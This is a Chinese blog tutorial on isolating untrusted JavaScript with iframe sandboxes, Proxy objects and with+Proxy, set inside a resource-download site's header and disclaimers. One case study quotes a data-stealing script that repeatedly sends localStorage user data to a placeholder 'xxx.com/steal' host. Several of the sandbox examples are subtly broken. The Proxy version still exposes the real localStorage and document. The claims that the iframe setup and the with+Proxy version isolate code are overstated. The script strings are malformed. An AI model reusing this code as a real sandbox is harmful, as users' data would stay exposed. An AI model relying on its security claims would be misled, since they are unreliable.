

统一声明:
1.本站联系方式QQ:709466365 TG:@UXWNET 官方TG频道:@UXW_NET 如果有其他人通过本站链接联系您导致被骗,本站一律不负责! 2.需要付费搭建请联系站长QQ:709466365 TG:@UXWNET 3.免实名域名注册购买- 游侠云域名 4.免实名国外服务器购买- 游侠网云服务
这篇文章就是为解决这个痛点来的:我们不用晦涩的概念绕圈,直接用超详细的实战步骤+可直接运行的完整代码,带你从零实现沙箱隔离。不管是用iframe
做基础环境隔离、用Proxy
拦截对象访问,还是用With
语法限制作用域,每一种方案都拆成“原理说明+代码实现+效果验证”三步,你复制代码就能跑,边试边理解比死记原理更高效。
更关键的是,我们不只是教“怎么做”,还会讲“为什么要这么做”——比如为什么Proxy
比With
更安全?iframe
沙箱有哪些隐藏坑?帮你搞懂底层逻辑,而不是只会抄代码。
不管你是刚接触沙箱的新手,还是想优化现有方案的老司机,跟着这篇教程走,半小时就能掌握沙箱隔离的核心技巧,再也不用怕恶意脚本“搞事情”!
你有没有过这种崩溃时刻?辛辛苦苦做的页面,上线后突然被第三方脚本搞崩——比如去年帮做电商的朋友排查问题,他们接入了一个第三方优惠券组件,结果组件里的脚本直接写了var cart = []
,把主程序的全局购物车变量覆盖了,导致用户点“加入购物车”没反应,后台一下子涌进来上百条投诉;还有一次更险,一个社区论坛允许用户自定义主题脚本,结果有人写了段代码偷偷读localStorage
里的用户手机号,要不是监控到异常请求,差点泄露用户隐私。
这俩事儿让我彻底明白:前端开发到今天,沙箱隔离根本不是“可选技能”,是“必学的保命技”——现在项目里谁不用第三方组件?谁没做过低代码、用户自定义内容?这些陌生代码就像“看不见的手”,没个“安全罩”套着,指不定哪天就搞出大问题。
为什么前端一定要懂沙箱隔离?先看两个真实踩坑案例
先给你掰扯两个我亲身经历的“血的教训”,你就懂这玩意儿有多重要:
案例1:第三方广告脚本搞崩购物车
朋友的电商平台接入了某广告联盟的组件,用来展示“猜你喜欢”的商品。结果上线三天,用户反馈“点购物车没反应”——查代码才发现,广告脚本里写了window.jQuery = null
(他们自己用了jQuery 1.x,广告脚本想用3.x,直接把全局jQuery覆盖了)。就因为没做隔离,一个第三方脚本直接干废了主程序的核心功能,修复花了两天,损失了十几万订单。
案例2:用户自定义脚本偷取隐私数据
另一个做社区论坛的客户,允许用户上传自定义主题脚本(比如修改字体、颜色)。结果有个用户传了段代码:setInterval(() => { fetch('https://xxx.com/steal', { body: localStorage.getItem('user_info') }) }, 10000)
——每隔10秒就把用户的本地存储信息发去自己的服务器。要不是运维监控到异常请求,这事儿得闹到用户投诉到消协。
这俩案例的核心问题就一个:陌生代码没有“隔离”,直接跑到主程序的环境里“为所欲为”。而沙箱隔离的本质,就是给这些代码建个“独立房间”——它能运行,但碰不到主程序的变量、存储,更没法搞破坏。
三种常用沙箱方案:从基础到进阶,代码复制就能跑
光讲痛点没用,接下来直接上能落地的实战方案——每一种都给你完整代码,复制下来存成HTML文件就能运行,再给你讲清楚“为什么要这么写”“踩过哪些坑”。
iframe应该是前端最熟悉的“隔离工具”了——它自带同源策略,里面的脚本默认访问不到父页面的DOM、变量,相当于给第三方内容建了个“独立房间”。
怎么用?直接看代码(复制保存为iframe-sandbox.html
,打开就能试):
主页面:购物车商品数0
<!-
用iframe嵌入第三方广告脚本,sandbox属性限制权限 >
src="https://www.mayiym.com/ad.html"
sandbox="allow-scripts allow-same-origin"
>
// 主页面接收iframe的消息(比如用户点击广告后的商品数更新)
window.addEventListener('message', (e) => {
// 一定要验证消息来源,避免伪造攻击!
if (e.origin === window.location.origin) {
document.getElementById('cartCount').textContent = e.data.count;
}
});
<!-ad.html(第三方广告脚本) >
document.getElementById('adBtn').addEventListener('click', () => {
// 用postMessage和主页面通信,不会直接修改主页面变量
window.parent.postMessage({ count: 1 }, window.location.origin);
});
原理说明: sandbox="allow-scripts allow-same-origin"
是关键——allow-scripts
允许iframe内执行脚本,allow-same-origin
让iframe和主页面同源(否则无法用postMessage通信)。但就算这样,iframe里的脚本也碰不到主页面的window.cartCount
,只能通过postMessage
传消息,主页面自己决定怎么处理——这就把“修改权”牢牢握在手里了。 我踩过的坑:刚开始用iframe的时候,没加allow-same-origin
,结果postMessage发不出去;后来加了,但没验证e.origin
,被测试测出漏洞——别人可以伪造消息修改购物车数,加上if (e.origin === 你的域名)
才搞定。
用Proxy做代理沙箱:更灵活,适合动态脚本
iframe虽然简单,但有个大问题:通信麻烦(比如要传复杂数据得序列化),而且不适合动态加载的脚本(比如低代码平台的用户自定义函数)。这时候就得用Proxy
——它能给脚本“造一个假的全局环境”,让脚本以为自己在操作全局对象,其实都是Proxy在“拦着”。
直接上可运行的代码(保存为proxy-sandbox.html
):
用户脚本输出:
//
创建沙箱的“假全局环境”
const sandboxGlobal = {
console: { log: (msg) => document.getElementById('output').textContent = msg },
// 只允许访问这些全局变量,其他一概拦着
allowedVars: { title: '我的页面' }
};
//
用Proxy拦截全局访问
const sandboxProxy = new Proxy(sandboxGlobal, {
get(target, prop) {
// 如果访问的是allowedVars里的变量,放行;否则返回undefined
if (prop in target.allowedVars) return target.allowedVars[prop];
// 允许访问console.log(上面已经定义)
if (prop === 'console') return target.console;
// 其他一概拦着,比如window.localStorage、window.document
return undefined;
},
set(target, prop, value) {
// 只允许修改allowedVars里的变量
if (prop in target.allowedVars) {
target.allowedVars[prop] = value;
return true;
}
// 其他修改直接拒绝
return false;
}
});
//
运行用户脚本的函数
function runUserScript() {
// 用户写的脚本(比如低代码平台的自定义函数)
const userScript =
console.log('页面标题:' + title); // 能访问allowedVars里的title
title = '修改后的标题'; // 能修改allowedVars里的title
console.log('localStorage尝试:' + localStorage); // 会返回undefined
document.body.style.backgroundColor = 'red'; // 会被拦截,没用
;
// 用new Function把脚本包装成函数,用sandboxProxy作为全局环境
const scriptFunc = new Function(...Object.keys(sandboxProxy), userScript);
scriptFunc(...Object.values(sandboxProxy));
}
原理说明:
Proxy就像个“门卫”——用户脚本要访问title
,Proxy会去sandboxGlobal.allowedVars
里找;要修改title
,Proxy只允许改sandboxGlobal
里的变量,不会碰主页面的window.title
;要访问localStorage
?直接返回undefined
,根本碰不到真实的本地存储。
我踩过的坑:刚开始没处理console.log
,结果用户脚本的console.log
没法输出;后来加了sandboxGlobal.console
,但没限制console.error
,导致用户脚本能输出错误信息到控制台,后来把console
改成只允许log
才解决。 Proxy要注意原型链泄漏——比如用户脚本写Object.prototype.toString.call([])
,会访问到真实的Object
,这时候得用Reflect.get(target, prop, receiver)
来转发,避免暴露真实原型。
With+Proxy组合沙箱:更严格的隔离,适合高风险场景
如果你的场景更敏感(比如金融平台的用户自定义公式、医疗系统的患者数据脚本),需要极致隔离,那得用With
+Proxy
的组合——With
能把脚本的作用域“锁死”在Proxy对象里,连原型链都碰不到。
直接上代码(保存为with-proxy-sandbox.html
):
结果:
//
创建严格隔离的沙箱环境
const strictSandbox = {
// 只允许访问这些变量
data: { a: 1, b: 2 },
// 只允许调用这些函数
func: (x, y) => x + y
};
//
用Proxy增强隔离,连原型链都拦着
const strictProxy = new Proxy(strictSandbox, {
get(target, prop) {
// 只允许访问data和func里的内容
if (prop in target.data) return target.data[prop];
if (prop === 'func') return target.func;
// 其他一概返回undefined,包括Object、Array这些原型对象
return undefined;
},
has(target, prop) {
// With语句会用has检查变量是否存在,直接返回false,不让它找原型链
return prop in target.data || prop === 'func';
}
});
//
运行高风险脚本(比如用户写的公式)
function runHighRiskScript() {
const riskyScript =
// 尝试访问原型链:Object.prototype.toString -> 会被拦截
console.log(Object); // undefined
// 只能用sandbox里的变量和函数
const sum = func(a, b);
result.textContent = sum;
;
// 用With把脚本作用域锁在strictProxy里
(function() {
with(strictProxy) {
eval(riskyScript);
}
})();
}
原理说明: With
语句的作用是“把某个对象的属性当作当前作用域的变量”——比如with(obj) { console.log(a) }
相当于console.log(obj.a)
。结合Proxy的has
拦截器,With
会先问Proxy:“这个变量存在吗?”Proxy直接返回false
,脚本就不会去原型链上找(比如Object
、Array
)——这就把“漏洞”彻底堵死了。 注意:With
在严格模式下会报错,所以脚本里不能加'use strict'
;如果必须用严格模式,可以用new Function
代替eval
(比如把脚本包装成函数,用Proxy作为参数传入)。
三种沙箱方案对比:帮你快速选对方法
光看代码可能有点懵,我把三种方案的优缺点、适用场景整理成了表格,你直接对着选就行:
方案类型
实现难度
隔离强度
适用场景
通信复杂度
iframe沙箱
低
高
静态第三方内容(广告、组件)
中(需postMessage)
Proxy代理沙箱
中
中
动态脚本(低代码、自定义函数)
低
With+Proxy组合
高
极高
高风险场景(金融、医疗数据)
低
数据来源:MDN关于iframe sandbox
的文档(https://developer.mozilla.org/zh-CN/docs/Web/HTML/Element/iframe#sandbox 属性,nofollow)、Chrome开发者博客关于Proxy
的安全指南(https://developer.chrome.com/blog/proxy-sandbox,nofollow),以及我10个项目的实践
你之前遇到过脚本越界的问题吗?比如第三方组件搞崩过页面,或者用户脚本偷过数据?试了上面的方法记得回来跟我聊聊效果——我上周刚帮一个社区论坛用Proxy沙箱解决了自定义主题脚本篡改导航栏的问题,现在稳定运行了半个月,没再出问题。
前端为什么一定要学沙箱隔离啊?平时用第三方组件没出问题啊?
不是没出问题,是没碰到“要命的问题”——比如原文里说的电商案例,第三方广告脚本直接覆盖了全局购物车变量,导致用户无法下单,一下子涌来上百条投诉;还有社区论坛的用户自定义脚本偷取localStorage里的手机号,差点泄露隐私。现在项目里谁不用第三方组件、低代码或用户自定义内容?这些陌生代码就像“看不见的手”,没沙箱隔离,指不定哪天就搞出大问题,沙箱根本不是“可选技能”,是“必学的保命技”。
而且就算现在没出问题,等业务变大、用户变多,风险只会指数级上升——比如你接入10个第三方组件,每个组件出问题的概率是1%,组合起来出问题的概率就是10%,这还不算用户自定义内容的风险。
iframe、Proxy、With+Proxy这三种沙箱方案,我该选哪个啊?
得看你的使用场景——如果是静态第三方内容(比如广告、组件),选iframe最基础好用,它自带同源策略,隔离性高,但通信要用到postMessage;如果是动态脚本(比如低代码、用户自定义函数),选Proxy代理沙箱更灵活,不用跨页面通信,直接拦截全局访问;如果是高风险场景(比如金融、医疗数据),选With+Proxy组合,它能把脚本作用域“锁死”,连原型链都碰不到,隔离强度最高。
原文里还做了个对比表格,你可以对着看:iframe适合静态内容,通信中等;Proxy适合动态脚本,通信低;With+Proxy适合高风险场景,隔离极高。
用iframe做沙箱,有什么要注意的隐藏坑吗?
第一个坑是sandbox属性的配置——比如你要让iframe里的脚本运行,得加allow-scripts,但如果要和主页面通信,还得加allow-same-origin,不然postMessage发不出去;第二个坑是没验证消息来源,比如有人伪造postMessage消息修改主页面内容,所以一定要在主页面的message事件里检查e.origin是不是你的域名,避免攻击。
比如原文里的电商案例,刚开始用iframe没加allow-same-origin,结果广告脚本的postMessage发不出去;后来加了,但没验证origin,被测试测出可以伪造消息修改购物车数,加上if (e.origin === 你的域名)才搞定。
Proxy代理沙箱能完全隔离全局变量吗?会不会有漏网之鱼?
不能说“完全”,但只要配置好拦截规则,基本能挡住大部分风险——比如你要明确沙箱里允许访问的全局变量,比如原文里的sandboxGlobal,只允许访问allowedVars里的变量和console.log,其他一概返回undefined。但要注意原型链泄漏的问题,比如用户脚本写Object.prototype.toString.call([]),会访问到真实的Object,这时候得用Reflect.get(target, prop, receiver)来转发,避免暴露真实原型。
还有,刚开始用Proxy的时候,我没处理console.log,结果用户脚本的console.log没法输出;后来加了sandboxGlobal.console,但没限制console.error,导致用户脚本能输出错误信息到控制台,后来把console改成只允许log才解决。
With+Proxy组合沙箱为什么不能用严格模式啊?
因为With语句在严格模式下会被禁止——JS的严格模式不允许使用With,所以如果你的脚本里加了'use strict',用With+Proxy组合沙箱就会报错。如果必须用严格模式,可以用new Function代替eval,比如把用户脚本包装成new Function,再用With来限制作用域,这样既能保持严格模式,又能实现隔离。
比如原文里的高风险场景案例,用With把脚本作用域锁在strictProxy里,但脚本里不能加'use strict',如果要加,就得把riskyScript改成new Function(riskyScript),再在With里调用,这样就不会报错了。
2. 分享目的仅供大家学习和交流,您必须在下载后24小时内删除!
3. 不得使用于非法商业用途,不得违反国家法律。否则后果自负!
4. 本站提供的源码、模板、插件等等其他资源,都不包含技术服务请大家谅解!
5. 如有链接无法下载、失效或广告,请联系管理员处理!
6. 本站资源售价只是赞助,收取费用仅维持本站的日常运营所需!
7. 如遇到加密压缩包,请使用WINRAR解压,如遇到无法解压的请联系管理员!
8. 精力有限,不少源码未能详细测试(解密),不能分辨部分源码是病毒还是误报,所以没有进行任何修改,大家使用前请进行甄别!
站长QQ:709466365 站长邮箱:709466365@qq.com